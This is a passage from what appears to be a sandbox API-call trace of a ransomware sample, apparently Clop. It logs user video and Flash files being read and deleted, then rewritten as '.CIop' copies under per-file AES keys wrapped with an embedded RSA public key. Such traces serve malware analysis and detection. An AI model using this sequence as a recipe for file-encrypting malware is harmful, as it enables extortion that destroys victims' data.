"c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\hput\\4xodva0z5l5w0l.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x684 [0106.372] ReadFile (in: hFile=0x684, lpBuffer=0x66f320, nNumberOfBytesToRead=0x9518, lpNumberOfBytesRead=0x326e5e8, lpOverlapped=0x0 | out: lpBuffer=0x66f320*, lpNumberOfBytesRead=0x326e5e8*=0x9518, lpOverlapped=0x0) returned 1 [0106.373] CloseHandle (hObject=0x684) returned 1 [0106.373] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\4xODVA0z5L5w0l.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\hput\\4xodva0z5l5w0l.mkv")) returned 1 [0106.472] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0106.473] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0106.473] SetErrorMode (uMode=0x1) returned 0x1 [0106.473] CryptAcquireContextW (in: phProv=0x326e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x326e5b8*=0x2f1c100) returned 1 [0106.475] CryptGenKey (in: hProv=0x2f1c100, Algid=0x1, dwFlags=0x4000, phKey=0x326e5bc | out: phKey=0x326e5bc*=0x67e838) returned 1 [0106.555] CryptExportKey (in: hKey=0x67e838, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x326e5ec | out: pbData=0x0*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0106.555] CryptExportKey (in: hKey=0x67e838, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x326e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0106.555] CryptDestroyKey (hKey=0x67e838) returned 1 [0106.555] CryptReleaseContext (hProv=0x2f1c100, dwFlags=0x0) returned 1 [0106.555] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\4xODVA0z5L5w0l.mkv.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\hput\\4xodva0z5l5w0l.mkv.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x688 [0106.555] WriteFile (in: hFile=0x688, lpBuffer=0x66f320*, nNumberOfBytesToWrite=0x9518, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x66f320*, lpNumberOfBytesWritten=0x326e5d8*=0x9518, lpOverlapped=0x0) returned 1 [0106.556] SetFilePointer (in: hFile=0x688, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9518 [0106.556] WriteFile (in: hFile=0x688, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x326e5d8*=0x7, lpOverlapped=0x0) returned 1 [0106.556] SetFilePointer (in: hFile=0x688, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x951f [0106.556] SetErrorMode (uMode=0x1) returned 0x1 [0106.556] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0106.556] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0106.556] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x326d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598 | out: pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598) returned 1 [0106.556] CryptAcquireContextW (in: phProv=0x326d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x326d5a8*=0x67b1b8) returned 1 [0106.557] CryptImportPublicKeyInfoEx (in: hCryptProv=0x67b1b8, dwCertEncodingType=0x1, pInfo=0x691118, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x326d5b0 | out: phKey=0x326d5b0*=0x67dd38) returned 1 [0106.557] CryptEncrypt (in: hKey=0x67dd38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x326d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x326d5b4*=0x80) returned 1 [0106.557] CryptEncrypt (in: hKey=0x67dd38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67bce0*, pdwDataLen=0x326d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x67bce0*, pdwDataLen=0x326d5a4*=0x80) returned 1 [0106.557] WriteFile (in: hFile=0x688, lpBuffer=0x67bce0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x67bce0*, lpNumberOfBytesWritten=0x326e5d8*=0x80, lpOverlapped=0x0) returned 1 [0106.557] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.557] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.558] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.558] CloseHandle (hObject=0x688) returned 1 [0106.587] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\4xODVA0z5L5w0l.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\hput\\4xodva0z5l5w0l.mkv")) returned 0 Thread: id = 214 os_tid = 0xe68 [0106.374] lstrcpyA (in: lpString1=0x347e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0106.374] lstrcpyW (in: lpString1=0x347f368, lpString2="iJYJHrgQ2a2pzMtZL.swf" | out: lpString1="iJYJHrgQ2a2pzMtZL.swf") returned="iJYJHrgQ2a2pzMtZL.swf" [0106.374] lstrcpyW (in: lpString1=0x347f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" [0106.374] SetErrorMode (uMode=0x1) returned 0x1 [0106.374] wsprintfW (in: param_1=0x347eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\iJYJHrgQ2a2pzMtZL.swf") returned 72 [0106.374] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\iJYJHrgQ2a2pzMtZL.swf", dwFileAttributes=0x20) returned 1 [0106.374] StrStrW (lpFirst="iJYJHrgQ2a2pzMtZL.swf", lpSrch=".CIop") returned 0x0 [0106.374] wsprintfW (in: param_1=0x347e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\iJYJHrgQ2a2pzMtZL.swf.CIop") returned 77 [0106.374] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\iJYJHrgQ2a2pzMtZL.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\ijyjhrgq2a2pzmtzl.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x684 [0106.374] ReadFile (in: hFile=0x684, lpBuffer=0x678840, nNumberOfBytesToRead=0x293e, lpNumberOfBytesRead=0x347e5e8, lpOverlapped=0x0 | out: lpBuffer=0x678840*, lpNumberOfBytesRead=0x347e5e8*=0x293e, lpOverlapped=0x0) returned 1 [0106.375] CloseHandle (hObject=0x684) returned 1 [0106.375] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\iJYJHrgQ2a2pzMtZL.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\ijyjhrgq2a2pzmtzl.swf")) returned 1 [0106.376] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0106.376] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x32b0000 [0106.376] SetErrorMode (uMode=0x1) returned 0x1 [0106.376] CryptAcquireContextW (in: phProv=0x347e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x347e5b8*=0x2f1bee0) returned 1 [0106.378] CryptGenKey (in: hProv=0x2f1bee0, Algid=0x1, dwFlags=0x4000, phKey=0x347e5bc | out: phKey=0x347e5bc*=0x67eab8) returned 1 [0106.491] CryptExportKey (in: hKey=0x67eab8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x347e5ec | out: pbData=0x0*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0106.491] CryptExportKey (in: hKey=0x67eab8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x32b0000, pdwDataLen=0x347e5ec | out: pbData=0x32b0000*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0106.491] CryptDestroyKey (hKey=0x67eab8) returned 1 [0106.491] CryptReleaseContext (hProv=0x2f1bee0, dwFlags=0x0) returned 1 [0106.491] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\iJYJHrgQ2a2pzMtZL.swf.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\ijyjhrgq2a2pzmtzl.swf.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x67c [0106.492] WriteFile (in: hFile=0x67c, lpBuffer=0x678840*, nNumberOfBytesToWrite=0x293e, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x678840*, lpNumberOfBytesWritten=0x347e5d8*=0x293e, lpOverlapped=0x0) returned 1 [0106.492] SetFilePointer (in: hFile=0x67c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x293e [0106.493] WriteFile (in: hFile=0x67c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x347e5d8*=0x7, lpOverlapped=0x0) returned 1 [0106.493] SetFilePointer (in: hFile=0x67c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2945 [0106.493] SetErrorMode (uMode=0x1) returned 0x1 [0106.493] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0106.493] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0106.493] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x347d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598 | out: pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598) returned 1 [0106.493] CryptAcquireContextW (in: phProv=0x347d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x347d5a8*=0x2f1bee0) returned 1 [0106.493] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1bee0, dwCertEncodingType=0x1, pInfo=0x692978, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x347d5b0 | out: phKey=0x347d5b0*=0x67e138) returned 1 [0106.493] CryptEncrypt (in: hKey=0x67e138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x347d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x347d5b4*=0x80) returned 1 [0106.493] CryptEncrypt (in: hKey=0x67e138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67b570*, pdwDataLen=0x347d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x67b570*, pdwDataLen=0x347d5a4*=0x80) returned 1 [0106.493] WriteFile (in: hFile=0x67c, lpBuffer=0x67b570*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x67b570*, lpNumberOfBytesWritten=0x347e5d8*=0x80, lpOverlapped=0x0) returned 1 [0106.493] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.493] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.494] VirtualFree (lpAddress=0x32b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.494] CloseHandle (hObject=0x67c) returned 1 [0106.495] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\iJYJHrgQ2a2pzMtZL.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\ijyjhrgq2a2pzmtzl.swf")) returned 0 Thread: id = 215 os_tid = 0xe60 [0106.528] lstrcpyA (in: lpString1=0x357e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0106.528] lstrcpyW (in: lpString1=0x357f368, lpString2="H9o_U92tz2Ho9-mh.swf" | out: lpString1="H9o_U92tz2Ho9-mh.swf") returned="H9o_U92tz2Ho9-mh.swf" [0106.528] lstrcpyW (in: lpString1=0x357f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0106.528] SetErrorMode (uMode=0x1) returned 0x1 [0106.528] wsprintfW (in: param_1=0x357eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\H9o_U92tz2Ho9-mh.swf") returned 78 [0106.528] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\H9o_U92tz2Ho9-mh.swf", dwFileAttributes=0x20) returned 1 [0106.529] StrStrW (lpFirst="H9o_U92tz2Ho9-mh.swf", lpSrch=".CIop") returned 0x0 [0106.529] wsprintfW (in: param_1=0x357e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\H9o_U92tz2Ho9-mh.swf.CIop") returned 83 [0106.529] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\H9o_U92tz2Ho9-mh.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\hput\\h9o_u92tz2ho9-mh.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x688 [0106.529] ReadFile (in: hFile=0x688, lpBuffer=0x2f0ec98, nNumberOfBytesToRead=0x4b16, lpNumberOfBytesRead=0x357e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ec98*, lpNumberOfBytesRead=0x357e5e8*=0x4b16, lpOverlapped=0x0) returned 1 [0106.530] CloseHandle (hObject=0x688) returned 1 [0106.530] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\H9o_U92tz2Ho9-mh.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\hput\\h9o_u92tz2ho9-mh.swf")) returned 1 [0106.531] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0106.531] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x32b0000 [0106.531] SetErrorMode (uMode=0x1) returned 0x1 [0106.531] CryptAcquireContextW (in: phProv=0x357e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x357e5b8*=0x67c098) returned 1 [0106.534] CryptGenKey (in: hProv=0x67c098, Algid=0x1, dwFlags=0x4000, phKey=0x357e5bc | out: phKey=0x357e5bc*=0x67e0b8) returned 1 [0106.582] CryptExportKey (in: hKey=0x67e0b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x357e5ec | out: pbData=0x0*, pdwDataLen=0x357e5ec*=0x94) returned 1 [0106.582] CryptExportKey (in: hKey=0x67e0b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x32b0000, pdwDataLen=0x357e5ec | out: pbData=0x32b0000*, pdwDataLen=0x357e5ec*=0x94) returned 1 [0106.582] CryptDestroyKey (hKey=0x67e0b8) returned 1 [0106.582] CryptReleaseContext (hProv=0x67c098, dwFlags=0x0) returned 1 [0106.583] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\H9o_U92tz2Ho9-mh.swf.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\hput\\h9o_u92tz2ho9-mh.swf.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0106.583] WriteFile (in: hFile=0x694, lpBuffer=0x2f0ec98*, nNumberOfBytesToWrite=0x4b16, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ec98*, lpNumberOfBytesWritten=0x357e5d8*=0x4b16, lpOverlapped=0x0) returned 1 [0106.584] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4b16 [0106.584] WriteFile (in: hFile=0x694, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x357e5d8*=0x7, lpOverlapped=0x0) returned 1 [0106.584] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4b1d [0106.584] SetErrorMode (uMode=0x1) returned 0x1 [0106.584] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0106.584] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x357d5b8, pcbBinary=0x357d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x357d5b8, pcbBinary=0x357d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0106.584] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x357d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x357d5a0, pcbStructInfo=0x357d598 | out: pvStructInfo=0x357d5a0, pcbStructInfo=0x357d598) returned 1 [0106.584] CryptAcquireContextW (in: phProv=0x357d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x357d5a8*=0x67bf88) returned 1 [0106.584] CryptImportPublicKeyInfoEx (in: hCryptProv=0x67bf88, dwCertEncodingType=0x1, pInfo=0x6911e8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x357d5b0 | out: phKey=0x357d5b0*=0x67dff8) returned 1 [0106.584] CryptEncrypt (in: hKey=0x67dff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x357d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x357d5b4*=0x80) returned 1 [0106.584] CryptEncrypt (in: hKey=0x67dff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67bd68*, pdwDataLen=0x357d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x67bd68*, pdwDataLen=0x357d5a4*=0x80) returned 1 [0106.584] WriteFile (in: hFile=0x694, lpBuffer=0x67bd68*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x67bd68*, lpNumberOfBytesWritten=0x357e5d8*=0x80, lpOverlapped=0x0) returned 1 [0106.584] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.585] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.585] VirtualFree (lpAddress=0x32b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.585] CloseHandle (hObject=0x694) returned 1 [0106.586] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\H9o_U92tz2Ho9-mh.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\hput\\h9o_u92tz2ho9-mh.swf")) returned 0 Thread: id = 216 os_tid = 0xdcc [0106.626] 